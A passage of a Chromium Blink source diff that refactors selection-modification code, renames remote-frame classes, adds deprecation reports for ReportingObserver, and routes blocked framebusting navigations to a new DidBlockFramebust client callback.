     TextGranularity granularity) {
-  VisiblePosition pos =
-      CreateVisiblePosition(selection_.Extent(), selection_.Affinity());
-
   // The difference between modifyExtendingRight and modifyExtendingForward is:
   // modifyExtendingForward always extends forward logically.
   // modifyExtendingRight behaves the same as modifyExtendingForward except for
@@ -211,33 +208,41 @@
   // block is RTL direction.
   switch (granularity) {
     case TextGranularity::kCharacter:
-      if (DirectionOfEnclosingBlock() == TextDirection::kLtr)
-        pos = NextPositionOf(pos, kCanSkipOverEditingBoundary);
-      else
-        pos = PreviousPositionOf(pos, kCanSkipOverEditingBoundary);
-      break;
+      if (DirectionOfEnclosingBlock() == TextDirection::kLtr) {
+        return NextPositionOf(
+            CreateVisiblePosition(selection_.Extent(), selection_.Affinity()),
+            kCanSkipOverEditingBoundary);
+      }
+      return PreviousPositionOf(
+          CreateVisiblePosition(selection_.Extent(), selection_.Affinity()),
+          kCanSkipOverEditingBoundary);
     case TextGranularity::kWord:
-      if (DirectionOfEnclosingBlock() == TextDirection::kLtr)
-        pos = NextWordPositionForPlatform(pos);
-      else
-        pos = PreviousWordPosition(pos);
-      break;
+      if (DirectionOfEnclosingBlock() == TextDirection::kLtr) {
+        return NextWordPositionForPlatform(
+            CreateVisiblePosition(selection_.Extent(), selection_.Affinity()));
+      }
+      return PreviousWordPosition(
+          CreateVisiblePosition(selection_.Extent(), selection_.Affinity()));
     case TextGranularity::kLineBoundary:
       if (DirectionOfEnclosingBlock() == TextDirection::kLtr)
-        pos = ModifyExtendingForward(granularity);
-      else
-        pos = ModifyExtendingBackward(granularity);
-      break;
+        return ModifyExtendingForwardInternal(granularity);
+      return ModifyExtendingBackwardInternal(granularity);
     case TextGranularity::kSentence:
     case TextGranularity::kLine:
     case TextGranularity::kParagraph:
     case TextGranularity::kSentenceBoundary:
     case TextGranularity::kParagraphBoundary:
     case TextGranularity::kDocumentBoundary:
-      // FIXME: implement all of the above?
-      pos = ModifyExtendingForward(granularity);
-      break;
+      // TODO(editing-dev): implement all of the above?
+      return ModifyExtendingForwardInternal(granularity);
   }
+  NOTREACHED() << static_cast<int>(granularity);
+  return VisiblePosition();
+}
+
+VisiblePosition SelectionModifier::ModifyExtendingRight(
+    TextGranularity granularity) {
+  const VisiblePosition& pos = ModifyExtendingRightInternal(granularity);
   if (DirectionOfEnclosingBlock() == TextDirection::kLtr)
     return AdjustForwardPositionForUserSelectAll(pos);
   return AdjustBackwardPositionForUserSelectAll(pos);
diff --git a/third_party/WebKit/Source/core/editing/SelectionModifier.h b/third_party/WebKit/Source/core/editing/SelectionModifier.h
index f7b1f66c..6f66b625 100644
--- a/third_party/WebKit/Source/core/editing/SelectionModifier.h
+++ b/third_party/WebKit/Source/core/editing/SelectionModifier.h
@@ -73,6 +73,7 @@
   VisiblePosition EndForPlatform() const;
   LayoutUnit LineDirectionPointForBlockDirectionNavigation(const Position&);
   VisiblePosition ModifyExtendingRight(TextGranularity);
+  VisiblePosition ModifyExtendingRightInternal(TextGranularity);
   VisiblePosition ModifyExtendingForward(TextGranularity);
   VisiblePosition ModifyExtendingForwardInternal(TextGranularity);
   VisiblePosition ModifyMovingRight(TextGranularity);
diff --git a/third_party/WebKit/Source/core/editing/VisibleSelection.cpp b/third_party/WebKit/Source/core/editing/VisibleSelection.cpp
index 7d71aaa..b21f240 100644
--- a/third_party/WebKit/Source/core/editing/VisibleSelection.cpp
+++ b/third_party/WebKit/Source/core/editing/VisibleSelection.cpp
@@ -164,14 +164,14 @@
   // in the course of running edit commands which modify the DOM.
   // Failing to ensure this can result in equivalentXXXPosition calls returning
   // incorrect results.
-  DCHECK(!NeedsLayoutTreeUpdate(start_)) << *this;
+  DCHECK(!NeedsLayoutTreeUpdate(Start())) << *this;
 
   if (IsCaret()) {
     // If the selection is a caret, move the range start upstream. This
     // helps us match the conventions of text editors tested, which make
     // style determinations based on the character before the caret, if any.
     const PositionTemplate<Strategy> start =
-        MostBackwardCaretPosition(start_).ParentAnchoredEquivalent();
+        MostBackwardCaretPosition(Start()).ParentAnchoredEquivalent();
     return EphemeralRangeTemplate<Strategy>(start, start);
   }
   // If the selection is a range, select the minimum range that encompasses
@@ -186,7 +186,7 @@
   //                       ^ selected
   //
   DCHECK(IsRange());
-  return NormalizeRange(EphemeralRangeTemplate<Strategy>(start_, end_));
+  return NormalizeRange(EphemeralRangeTemplate<Strategy>(Start(), End()));
 }
 
 template <typename Strategy>
@@ -196,8 +196,8 @@
     return *this;
   if (!IsRange())
     return *this;
-  const PositionTemplate<Strategy>& new_end = SkipWhitespace(end_);
-  if (end_ == new_end)
+  const PositionTemplate<Strategy>& new_end = SkipWhitespace(End());
+  if (End() == new_end)
     return *this;
   VisibleSelectionTemplate<Strategy> result = *this;
   result.end_ = new_end;
diff --git a/third_party/WebKit/Source/core/editing/VisibleSelection.h b/third_party/WebKit/Source/core/editing/VisibleSelection.h
index 2d6a615..ddaf97f 100644
--- a/third_party/WebKit/Source/core/editing/VisibleSelection.h
+++ b/third_party/WebKit/Source/core/editing/VisibleSelection.h
@@ -73,11 +73,11 @@
 
   VisiblePositionTemplate<Strategy> VisibleStart() const {
     return CreateVisiblePosition(
-        start_, IsRange() ? TextAffinity::kDownstream : Affinity());
+        Start(), IsRange() ? TextAffinity::kDownstream : Affinity());
   }
   VisiblePositionTemplate<Strategy> VisibleEnd() const {
     return CreateVisiblePosition(
-        end_, IsRange() ? TextAffinity::kUpstream : Affinity());
+        End(), IsRange() ? TextAffinity::kUpstream : Affinity());
   }
   VisiblePositionTemplate<Strategy> VisibleBase() const {
     return CreateVisiblePosition(
diff --git a/third_party/WebKit/Source/core/editing/commands/ApplyStyleCommand.cpp b/third_party/WebKit/Source/core/editing/commands/ApplyStyleCommand.cpp
index 80353fe..d28078a 100644
--- a/third_party/WebKit/Source/core/editing/commands/ApplyStyleCommand.cpp
+++ b/third_party/WebKit/Source/core/editing/commands/ApplyStyleCommand.cpp
@@ -170,7 +170,7 @@
 
 void ApplyStyleCommand::UpdateStartEnd(const Position& new_start,
                                        const Position& new_end) {
-  DCHECK_GE(ComparePositions(new_end, new_start), 0);
+  DCHECK_GE(new_end, new_start);
 
   if (!use_ending_selection_ && (new_start != start_ || new_end != end_))
     use_ending_selection_ = true;
diff --git a/third_party/WebKit/Source/core/editing/commands/EditorCommand.cpp b/third_party/WebKit/Source/core/editing/commands/EditorCommand.cpp
index d59e5de1..7c96141 100644
--- a/third_party/WebKit/Source/core/editing/commands/EditorCommand.cpp
+++ b/third_party/WebKit/Source/core/editing/commands/EditorCommand.cpp
@@ -43,6 +43,7 @@
 #include "core/editing/EditingUtilities.h"
 #include "core/editing/FrameSelection.h"
 #include "core/editing/SelectionModifier.h"
+#include "core/editing/SetSelectionData.h"
 #include "core/editing/commands/CreateLinkCommand.h"
 #include "core/editing/commands/EditorCommandNames.h"
 #include "core/editing/commands/FormatBlockCommand.h"
@@ -410,7 +411,7 @@
     return false;
   frame.Selection().SetSelection(
       SelectionInDOMTree::Builder().SetBaseAndExtent(new_range).Build(),
-      FrameSelection::kCloseTyping);
+      SetSelectionData::Builder().SetShouldCloseTyping(true).Build());
   return true;
 }
 
@@ -817,7 +818,7 @@
             .SetBaseAndExtent(
                 UnionEphemeralRanges(mark, frame.GetEditor().SelectedRange()))
             .Build(),
-        FrameSelection::kCloseTyping);
+        SetSelectionData::Builder().SetShouldCloseTyping(true).Build());
   }
   frame.GetEditor().PerformDelete();
   frame.GetEditor().SetMark(
@@ -1242,13 +1243,16 @@
     return false;
   }
 
-  frame.Selection().SetSelection(selection_modifier.Selection().AsSelection(),
-                                 FrameSelection::kCloseTyping |
-                                     FrameSelection::kClearTypingStyle |
-                                     FrameSelection::kUserTriggered,
-                                 alter == SelectionModifyAlteration::kMove
-                                     ? CursorAlignOnScroll::kAlways
-                                     : CursorAlignOnScroll::kIfNeeded);
+  frame.Selection().SetSelection(
+      selection_modifier.Selection().AsSelection(),
+      SetSelectionData::Builder()
+          .SetSetSelectionBy(SetSelectionBy::kUser)
+          .SetShouldCloseTyping(true)
+          .SetShouldClearTypingStyle(true)
+          .SetCursorAlignOnScroll(alter == SelectionModifyAlteration::kMove
+                                      ? CursorAlignOnScroll::kAlways
+                                      : CursorAlignOnScroll::kIfNeeded)
+          .Build());
   return true;
 }
 
@@ -1853,7 +1857,7 @@
       SelectionInDOMTree::Builder()
           .SetBaseAndExtent(UnionEphemeralRanges(mark, selection))
           .Build(),
-      FrameSelection::kCloseTyping);
+      SetSelectionData::Builder().SetShouldCloseTyping(true).Build());
   return true;
 }
 
diff --git a/third_party/WebKit/Source/core/exported/LocalFrameClientImpl.cpp b/third_party/WebKit/Source/core/exported/LocalFrameClientImpl.cpp
index a1c9a6d..0331c43 100644
--- a/third_party/WebKit/Source/core/exported/LocalFrameClientImpl.cpp
+++ b/third_party/WebKit/Source/core/exported/LocalFrameClientImpl.cpp
@@ -1055,4 +1055,8 @@
   web_frame_->Client()->DraggableRegionsChanged();
 }
 
+void LocalFrameClientImpl::DidBlockFramebust(const KURL& url) {
+  web_frame_->Client()->DidBlockFramebust(url);
+}
+
 }  // namespace blink
diff --git a/third_party/WebKit/Source/core/exported/LocalFrameClientImpl.h b/third_party/WebKit/Source/core/exported/LocalFrameClientImpl.h
index 8300b27..48f5d56d 100644
--- a/third_party/WebKit/Source/core/exported/LocalFrameClientImpl.h
+++ b/third_party/WebKit/Source/core/exported/LocalFrameClientImpl.h
@@ -242,6 +242,8 @@
 
   void AnnotatedRegionsChanged() override;
 
+  void DidBlockFramebust(const KURL&) override;
+
  private:
   explicit LocalFrameClientImpl(WebLocalFrameBase*);
 
diff --git a/third_party/WebKit/Source/web/tests/LocalFrameClientImplTest.cpp b/third_party/WebKit/Source/core/exported/LocalFrameClientImplTest.cpp
similarity index 93%
rename from third_party/WebKit/Source/web/tests/LocalFrameClientImplTest.cpp
rename to third_party/WebKit/Source/core/exported/LocalFrameClientImplTest.cpp
index d04c2af6..fb57ad4 100644
--- a/third_party/WebKit/Source/web/tests/LocalFrameClientImplTest.cpp
+++ b/third_party/WebKit/Source/core/exported/LocalFrameClientImplTest.cpp
@@ -48,9 +48,10 @@
 namespace blink {
 namespace {
 
-class MockWebFrameClient : public FrameTestHelpers::TestWebFrameClient {
+class LocalFrameMockWebFrameClient
+    : public FrameTestHelpers::TestWebFrameClient {
  public:
-  ~MockWebFrameClient() override {}
+  ~LocalFrameMockWebFrameClient() override {}
 
   MOCK_METHOD0(UserAgentOverride, WebString());
 };
@@ -83,13 +84,13 @@
 
   WebLocalFrameBase* MainFrame() { return helper_.LocalMainFrame(); }
   Document& GetDocument() { return *MainFrame()->GetFrame()->GetDocument(); }
-  MockWebFrameClient& WebFrameClient() { return web_frame_client_; }
+  LocalFrameMockWebFrameClient& WebFrameClient() { return web_frame_client_; }
   LocalFrameClient& GetLocalFrameClient() {
     return *ToLocalFrameClientImpl(MainFrame()->GetFrame()->Client());
   }
 
  private:
-  MockWebFrameClient web_frame_client_;
+  LocalFrameMockWebFrameClient web_frame_client_;
   FrameTestHelpers::WebViewHelper helper_;
 };
 
diff --git a/third_party/WebKit/Source/core/exported/WebFrame.cpp b/third_party/WebKit/Source/core/exported/WebFrame.cpp
index 7513a770..9fa3c747 100644
--- a/third_party/WebKit/Source/core/exported/WebFrame.cpp
+++ b/third_party/WebKit/Source/core/exported/WebFrame.cpp
@@ -9,13 +9,13 @@
 #include "core/HTMLNames.h"
 #include "core/dom/IncrementLoadEventDelayCount.h"
 #include "core/dom/UserGestureIndicator.h"
+#include "core/exported/WebRemoteFrameImpl.h"
 #include "core/frame/LocalFrame.h"
 #include "core/frame/LocalFrameView.h"
 #include "core/frame/OpenedFrameTracker.h"
 #include "core/frame/RemoteFrame.h"
 #include "core/frame/RemoteFrameOwner.h"
 #include "core/frame/WebLocalFrameBase.h"
-#include "core/frame/WebRemoteFrameBase.h"
 #include "core/html/HTMLFrameElementBase.h"
 #include "core/html/HTMLFrameOwnerElement.h"
 #include "core/page/Page.h"
@@ -117,7 +117,7 @@
                            TRACE_EVENT_SCOPE_THREAD, "frame", &local_frame);
     }
   } else {
-    ToWebRemoteFrameBase(frame)->InitializeCoreFrame(*page, owner, name);
+    ToWebRemoteFrameImpl(frame)->InitializeCoreFrame(*page, owner, name);
   }
 
   if (parent_ && old_frame->HasReceivedUserGesture())
@@ -305,7 +305,7 @@
 
   if (frame->IsLocalFrame())
     return WebLocalFrameBase::FromFrame(ToLocalFrame(*frame));
-  return WebRemoteFrameBase::FromFrame(ToRemoteFrame(*frame));
+  return WebRemoteFrameImpl::FromFrame(ToRemoteFrame(*frame));
 }
 
 WebFrame::WebFrame(WebTreeScopeType scope)
@@ -329,7 +329,7 @@
   if (frame->IsWebLocalFrame())
     visitor->Trace(ToWebLocalFrameBase(frame));
   else
-    visitor->Trace(ToWebRemoteFrameBase(frame));
+    visitor->Trace(ToWebRemoteFrameImpl(frame));
 }
 
 void WebFrame::TraceFrames(Visitor* visitor, WebFrame* frame) {
@@ -357,7 +357,7 @@
   if (frame.IsWebLocalFrame())
     return ToWebLocalFrameBase(frame).GetFrame();
   if (frame.IsWebRemoteFrame())
-    return ToWebRemoteFrameBase(frame).GetFrame();
+    return ToWebRemoteFrameImpl(frame).GetFrame();
   NOTREACHED();
   return nullptr;
 }
diff --git a/third_party/WebKit/Source/core/exported/WebRemoteFrameImpl.cpp b/third_party/WebKit/Source/core/exported/WebRemoteFrameImpl.cpp
index 474a061..bd52a8a0 100644
--- a/third_party/WebKit/Source/core/exported/WebRemoteFrameImpl.cpp
+++ b/third_party/WebKit/Source/core/exported/WebRemoteFrameImpl.cpp
@@ -207,7 +207,7 @@
     return nullptr;
   RemoteFrameClientImpl* client =
       static_cast<RemoteFrameClientImpl*>(frame.Client());
-  return ToWebRemoteFrameImpl(client->GetWebFrame());
+  return client->GetWebFrame();
 }
 
 void WebRemoteFrameImpl::SetReplicatedOrigin(const WebSecurityOrigin& origin) {
diff --git a/third_party/WebKit/Source/core/exported/WebViewTest.cpp b/third_party/WebKit/Source/core/exported/WebViewTest.cpp
index f1d2fbb..6800708 100644
--- a/third_party/WebKit/Source/core/exported/WebViewTest.cpp
+++ b/third_party/WebKit/Source/core/exported/WebViewTest.cpp
@@ -3087,7 +3087,7 @@
       "solid skyblue; float: left; width: 190px; height: 30px; "
       "color: rgb(0, 0, 0); font-family: myahem; font-size: 8px; font-style: "
       "normal; font-variant-ligatures: normal; font-variant-caps: normal; "
-      "font-weight: 400; letter-spacing: "
+      "font-weight: normal; letter-spacing: "
       "normal; orphans: 2; text-align: start; "
       "text-indent: 0px; text-transform: none; white-space: normal; widows: "
       "2; word-spacing: 0px; -webkit-text-stroke-width: 0px; "
@@ -3096,7 +3096,7 @@
       "border: 2px solid skyblue; float: left; width: 190px; height: 30px; "
       "color: rgb(0, 0, 0); font-family: myahem; font-size: 8px; font-style: "
       "normal; font-variant-ligatures: normal; font-variant-caps: normal; "
-      "font-weight: 400; letter-spacing: normal; orphans: 2; text-align: "
+      "font-weight: normal; letter-spacing: normal; orphans: 2; text-align: "
       "start; text-indent: 0px; text-transform: none; white-space: normal; "
       "widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; "
       "text-decoration-style: initial; text-decoration-color: initial;\">Price "
@@ -3123,7 +3123,7 @@
       "solid skyblue; float: left; width: 190px; height: 30px; "
       "color: rgb(0, 0, 0); font-family: myahem; font-size: 8px; font-style: "
       "normal; font-variant-ligatures: normal; font-variant-caps: normal; "
-      "font-weight: 400; letter-spacing: "
+      "font-weight: normal; letter-spacing: "
       "normal; orphans: 2; text-align: start; "
       "text-indent: 0px; text-transform: none; white-space: normal; widows: "
       "2; word-spacing: 0px; -webkit-text-stroke-width: 0px; "
@@ -3132,7 +3132,7 @@
       "border: 2px solid skyblue; float: left; width: 190px; height: 30px; "
       "color: rgb(0, 0, 0); font-family: myahem; font-size: 8px; font-style: "
       "normal; font-variant-ligatures: normal; font-variant-caps: normal; "
-      "font-weight: 400; letter-spacing: normal; orphans: 2; text-align: "
+      "font-weight: normal; letter-spacing: normal; orphans: 2; text-align: "
       "start; text-indent: 0px; text-transform: none; white-space: normal; "
       "widows: 2; word-spacing: 0px; -webkit-text-stroke-width: 0px; "
       "text-decoration-style: initial; text-decoration-color: initial;\">Price "
diff --git a/third_party/WebKit/Source/core/frame/BUILD.gn b/third_party/WebKit/Source/core/frame/BUILD.gn
index 89816b3..1feb03e 100644
--- a/third_party/WebKit/Source/core/frame/BUILD.gn
+++ b/third_party/WebKit/Source/core/frame/BUILD.gn
@@ -29,6 +29,7 @@
     "DeprecatedScheduleStyleRecalcDuringLayout.h",
     "Deprecation.cpp",
     "Deprecation.h",
+    "DeprecationReport.h",
     "DeviceSingleWindowEventController.cpp",
     "DeviceSingleWindowEventController.h",
     "EmbeddedContentView.h",
@@ -100,6 +101,12 @@
     "RemoteFrameOwner.h",
     "RemoteFrameView.cpp",
     "RemoteFrameView.h",
+    "Report.h",
+    "ReportBody.h",
+    "ReportingContext.cpp",
+    "ReportingContext.h",
+    "ReportingObserver.cpp",
+    "ReportingObserver.h",
     "ResizeViewportAnchor.cpp",
     "ResizeViewportAnchor.h",
     "RootFrameViewport.cpp",
@@ -116,8 +123,6 @@
     "SettingsDelegate.h",
     "SmartClip.cpp",
     "SmartClip.h",
-    "SubresourceIntegrity.cpp",
-    "SubresourceIntegrity.h",
     "SuspendableScriptExecutor.cpp",
     "SuspendableScriptExecutor.h",
     "SuspendableTimer.cpp",
@@ -136,7 +141,6 @@
     "WebLocalFrameBase.h",
     "WebLocalFrameImpl.cpp",
     "WebLocalFrameImpl.h",
-    "WebRemoteFrameBase.cpp",
     "WebRemoteFrameBase.h",
     "WebViewFrameWidget.cpp",
     "WebViewFrameWidget.h",
diff --git a/third_party/WebKit/Source/core/frame/Deprecation.cpp b/third_party/WebKit/Source/core/frame/Deprecation.cpp
index a3dfe70c..8981da6c 100644
--- a/third_party/WebKit/Source/core/frame/Deprecation.cpp
+++ b/third_party/WebKit/Source/core/frame/Deprecation.cpp
@@ -6,8 +6,11 @@
 
 #include "core/dom/Document.h"
 #include "core/dom/ExecutionContext.h"
+#include "core/frame/DeprecationReport.h"
 #include "core/frame/FrameConsole.h"
 #include "core/frame/LocalFrame.h"
+#include "core/frame/Report.h"
+#include "core/frame/ReportingContext.h"
 #include "core/inspector/ConsoleMessage.h"
 #include "core/page/Page.h"
 #include "core/workers/WorkerOrWorkletGlobalScope.h"
@@ -149,11 +152,14 @@
 
   if (!page->GetUseCounter().HasRecordedMeasurement(feature)) {
     page->GetUseCounter().RecordMeasurement(feature);
-    DCHECK(!DeprecationMessage(feature).IsEmpty());
-    ConsoleMessage* console_message =
-        ConsoleMessage::Create(kDeprecationMessageSource, kWarningMessageLevel,
-                               DeprecationMessage(feature));
+    String message = DeprecationMessage(feature);
+
+    DCHECK(!message.IsEmpty());
+    ConsoleMessage* console_message = ConsoleMessage::Create(
+        kDeprecationMessageSource, kWarningMessageLevel, message);
     frame->Console().AddMessage(console_message);
+
+    GenerateReport(frame, message);
   }
 }
 
@@ -245,6 +251,22 @@
   }
 }
 
+void Deprecation::GenerateReport(const LocalFrame* frame,
+                                 const String& message) {
+  if (!frame || !frame->Client())
+    return;
+
+  Document* document = frame->GetDocument();
+  ReportingContext* reporting_context = ReportingContext::From(document);
+  if (!reporting_context->ObserverExists())
+    return;
+
+  // Send a deprecation report to any ReportingObservers.
+  ReportBody* body = new DeprecationReport(message, SourceLocation::Capture());
+  Report* report = new Report("deprecation", document->Url().GetString(), body);
+  reporting_context->QueueReport(report);
+}
+
 String Deprecation::DeprecationMessage(WebFeature feature) {
   switch (feature) {
     // Quota
diff --git a/third_party/WebKit/Source/core/frame/Deprecation.h b/third_party/WebKit/Source/core/frame/Deprecation.h
index 361c8da..82aacf4 100644
--- a/third_party/WebKit/Source/core/frame/Deprecation.h
+++ b/third_party/WebKit/Source/core/frame/Deprecation.h
@@ -61,6 +61,9 @@
   // CSSPropertyIDs that aren't deprecated return an empty string.
   static String DeprecationMessage(CSSPropertyID unresolved_property);
 
+  // Generate a deprecation report, to be routed to any ReportingObservers.
+  static void GenerateReport(const LocalFrame*, const String& message);
+
   BitVector css_property_deprecation_bits_;
   unsigned mute_count_;
 };
diff --git a/third_party/WebKit/Source/core/frame/DeprecationReport.h b/third_party/WebKit/Source/core/frame/DeprecationReport.h
new file mode 100644
index 0000000..ee069e8
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/DeprecationReport.h
@@ -0,0 +1,36 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+#ifndef DeprecationReport_h
+#define DeprecationReport_h
+
+#include "bindings/core/v8/SourceLocation.h"
+#include "core/frame/ReportBody.h"
+
+namespace blink {
+
+class CORE_EXPORT DeprecationReport : public ReportBody {
+  DEFINE_WRAPPERTYPEINFO();
+
+ public:
+  DeprecationReport(const String& message,
+                    std::unique_ptr<SourceLocation> location)
+      : message_(message), location_(std::move(location)) {}
+
+  ~DeprecationReport() override {}
+
+  String message() const { return message_; }
+  String sourceFile() const { return location_->Url(); }
+  long lineNumber() const { return location_->LineNumber(); }
+
+  DEFINE_INLINE_VIRTUAL_TRACE() { ReportBody::Trace(visitor); }
+
+ private:
+  const String message_;
+  std::unique_ptr<SourceLocation> location_;
+};
+
+}  // namespace blink
+
+#endif  // DeprecationReport_h
diff --git a/third_party/WebKit/Source/core/frame/DeprecationReport.idl b/third_party/WebKit/Source/core/frame/DeprecationReport.idl
new file mode 100644
index 0000000..6836be7a
--- /dev/null
+++ b/third_party/WebKit/Source/core/frame/DeprecationReport.idl
@@ -0,0 +1,15 @@
+// Copyright 2017 The Chromium Authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// https://github.com/WICG/reporting/blob/master/EXPLAINER.md#reportingobserver---observing-reports-from-javascript
+
+[
+    NoInterfaceObject,
+    RuntimeEnabled=ReportingObserver
+] interface DeprecationReport : ReportBody {
+  // TODO(paulmeyer): Add additional data, including: id, anticipatedRemoval.
+  readonly attribute DOMString message;
+  readonly attribute DOMString sourceFile;
+  readonly attribute long lineNumber;
+};
diff --git a/third_party/WebKit/Source/core/frame/FrameSerializerTest.cpp b/third_party/WebKit/Source/core/frame/FrameSerializerTest.cpp
index 44a0eaa4..8f01c43 100644
--- a/third_party/WebKit/Source/core/frame/FrameSerializerTest.cpp
+++ b/third_party/WebKit/Source/core/frame/FrameSerializerTest.cpp
@@ -94,7 +94,7 @@
   void RegisterErrorURL(const char* file, int status_code) {
     WebURLError error;
     error.reason = 0xdead + status_code;
-    error.domain = "FrameSerializerTest";
+    error.domain = WebURLError::Domain::kTest;
 
     WebURLResponse response;
     response.SetMIMEType("text/html");
diff --git a/third_party/WebKit/Source/core/frame/FrameTestHelpers.cpp b/third_party/WebKit/Source/core/frame/FrameTestHelpers.cpp
index ca3c3783..8fad058 100644
--- a/third_party/WebKit/Source/core/frame/FrameTestHelpers.cpp
+++ b/third_party/WebKit/Source/core/frame/FrameTestHelpers.cpp
@@ -329,8 +329,8 @@
   return ToWebLocalFrameBase(web_view_->MainFrame());
 }
 
-WebRemoteFrameBase* WebViewHelper::RemoteMainFrame() const {
-  return ToWebRemoteFrameBase(web_view_->MainFrame());
+WebRemoteFrameImpl* WebViewHelper::RemoteMainFrame() const {
+  return ToWebRemoteFrameImpl(web_view_->MainFrame());
 }
 
 void WebViewHelper::Resize(WebSize size) {
diff --git a/third_party/WebKit/Source/core/frame/FrameTestHelpers.h b/third_party/WebKit/Source/core/frame/FrameTestHelpers.h
index 03e3e5e..1d9271e 100644
--- a/third_party/WebKit/Source/core/frame/FrameTestHelpers.h
+++ b/third_party/WebKit/Source/core/frame/FrameTestHelpers.h
@@ -101,7 +101,6 @@
 
 class WebFrame;
 class WebLocalFrameBase;
-class WebRemoteFrameBase;
 class WebRemoteFrameImpl;
 class WebSettings;
 
@@ -313,7 +312,7 @@
   WebViewBase* WebView() const { return web_view_; }
 
   WebLocalFrameBase* LocalMainFrame() const;
-  WebRemoteFrameBase* RemoteMainFrame() const;
+  WebRemoteFrameImpl* RemoteMainFrame() const;
 
  private:
   void InitializeWebView(TestWebViewClient*);
diff --git a/third_party/WebKit/Source/core/frame/LocalFrame.cpp b/third_party/WebKit/Source/core/frame/LocalFrame.cpp
index 0fb9749..33cb3ef 100644
--- a/third_party/WebKit/Source/core/frame/LocalFrame.cpp
+++ b/third_party/WebKit/Source/core/frame/LocalFrame.cpp
@@ -390,9 +390,10 @@
 }
 
 Frame* LocalFrame::FindFrameForNavigation(const AtomicString& name,
-                                          LocalFrame& active_frame) {
+                                          LocalFrame& active_frame,
+                                          const KURL& destination_url) {
   Frame* frame = Tree().Find(name);
-  if (!frame || !active_frame.CanNavigate(*frame))
+  if (!frame || !active_frame.CanNavigate(*frame, destination_url))
     return nullptr;
   return frame;
 }
@@ -776,7 +777,8 @@
   GetPage()->Animator().ScheduleVisualUpdate(this);
 }
 
-bool LocalFrame::CanNavigate(const Frame& target_frame) {
+bool LocalFrame::CanNavigate(const Frame& target_frame,
+                             const KURL& destination_url) {
   String error_reason;
   const bool is_allowed_navigation =
       CanNavigateWithoutFramebusting(target_frame, error_reason);
@@ -853,8 +855,7 @@
         "user gesture. See "
         "https://www.chromestatus.com/features/5851021045661696.";
     PrintNavigationErrorMessage(target_frame, error_reason.Latin1().data());
-    GetNavigationScheduler().SchedulePageBlock(GetDocument(),
-                                               ResourceError::ACCESS_DENIED);
+    Client()->DidBlockFramebust(destination_url);
     return false;
   }
   if (!is_allowed_navigation && !error_reason.IsNull())
diff --git a/third_party/WebKit/Source/core/frame/LocalFrame.h b/third_party/WebKit/Source/core/frame/LocalFrame.h
index d300c04..8d999cc 100644
--- a/third_party/WebKit/Source/core/frame/LocalFrame.h
+++ b/third_party/WebKit/Source/core/frame/LocalFrame.h
@@ -132,7 +132,8 @@
   void DocumentAttached();
 
   Frame* FindFrameForNavigation(const AtomicString& name,
-                                LocalFrame& active_frame);
+                                LocalFrame& active_frame,
+                                const KURL& destination_url);
 
   // Note: these two functions are not virtual but intentionally shadow the
   // corresponding method in the Frame base class to return the
@@ -224,7 +225,10 @@
 
   bool IsNavigationAllowed() const { return navigation_disable_count_ == 0; }
 
-  bool CanNavigate(const Frame&);
+  // destination_url is only used when a navigation is blocked due to
+  // framebusting defenses, in order to give the option of restarting the
+  // navigation at a later time.
+  bool CanNavigate(const Frame&, const KURL& destination_url = KURL());
 
   service_manager::InterfaceProvider& GetInterfaceProvider();
   InterfaceRegistry* GetInterfaceRegistry() { return interface_registry_; }
diff --git a/third_party/WebKit/Source/core/frame/LocalFrameClient.h b/third_party/WebKit/Source/core/frame/LocalFrameClient.h
index 29461823..ebd03e6f 100644
--- a/third_party/WebKit/Source/core/frame/LocalFrameClient.h
+++ b/third_party/WebKit/Source/core/frame/LocalFrameClient.h
@@ -349,6 +349,8 @@
                                                         WebTaskRunner*) = 0;
 
   virtual void AnnotatedRegionsChanged() = 0;
+
+  virtual void DidBlockFramebust(const KURL&) {}
 };
 
 }  // namespace blink
diff --git a/third_party/WebKit/Source/core/frame/Location.cpp b/third_party/WebKit/Source/core/frame/Location.cpp
index 6bad756c..d7acafa 100644
--- a/third_party/WebKit/Source/core/frame/Location.cpp
+++ b/third_party/WebKit/Source/core/frame/Location.cpp
@@ -241,7 +241,16 @@
   if (!current_window->GetFrame())
     return;
 
-  if (!current_window->GetFrame()->CanNavigate(*dom_window_->GetFrame())) {
+  Document* entered_document = entered_window->document();
+  if (!entered_document)
+    return;
+
+  KURL completed_url = entered_document->CompleteURL(url);
+  if (completed_url.IsNull())
+    return;
+
+  if (!current_window->GetFrame()->CanNavigate(*dom_window_->GetFrame(),
+                                               completed_url)) {
     if (exception_state) {
       exception_state->ThrowSecurityError(
           "The current window does not have permission to navigate the target "
@@ -250,14 +259,6 @@
     }
     return;
   }
-
-  Document* entered_document = entered_window->document();
-  if (!entered_document)
-    return;
-
-  KURL completed_url = entered_document->CompleteURL(url);
-  if (completed_url.IsNull())
-    return;
   if (exception_state && !completed_url.IsValid()) {
     exception_state->ThrowDOMException(kSyntaxError,
                                        "'" + url + "' is not a valid URL.");
diff --git a/third_party/WebKit/Source/core/frame/RemoteFrameClientImpl.cpp b/third_party/WebKit/Source/core/frame/RemoteFrameClientImpl.cpp
index 0d0235dd..21ce4d7 100644
--- a/third_party/WebKit/Source/core/frame/RemoteFrameClientImpl.cpp
+++ b/third_party/WebKit/Source/core/frame/RemoteFrameClientImpl.cpp
@@ -9,10 +9,10 @@
 #include "core/events/MouseEvent.h"
 #include "core/events/WebInputEventConversion.h"
 #include "core/events/WheelEvent.h"
+#include "core/exported/WebRemoteFrameImpl.h"
 #include "core/frame/RemoteFrame.h"
 #include "core/frame/RemoteFrameView.h"
 #include "core/frame/WebLocalFrameBase.h"
-#include "core/frame/WebRemoteFrameBase.h"
 #include "core/layout/api/LayoutEmbeddedContentItem.h"
 #include "core/layout/api/LayoutItem.h"
 #include "platform/exported/WrappedResourceRequest.h"
@@ -38,11 +38,11 @@
 
 }  // namespace
 
-RemoteFrameClientImpl::RemoteFrameClientImpl(WebRemoteFrameBase* web_frame)
+RemoteFrameClientImpl::RemoteFrameClientImpl(WebRemoteFrameImpl* web_frame)
     : web_frame_(web_frame) {}
 
 RemoteFrameClientImpl* RemoteFrameClientImpl::Create(
-    WebRemoteFrameBase* web_frame) {
+    WebRemoteFrameImpl* web_frame) {
   return new RemoteFrameClientImpl(web_frame);
 }
 
@@ -118,9 +118,8 @@
     ClientRedirectPolicy client_redirect_policy) {
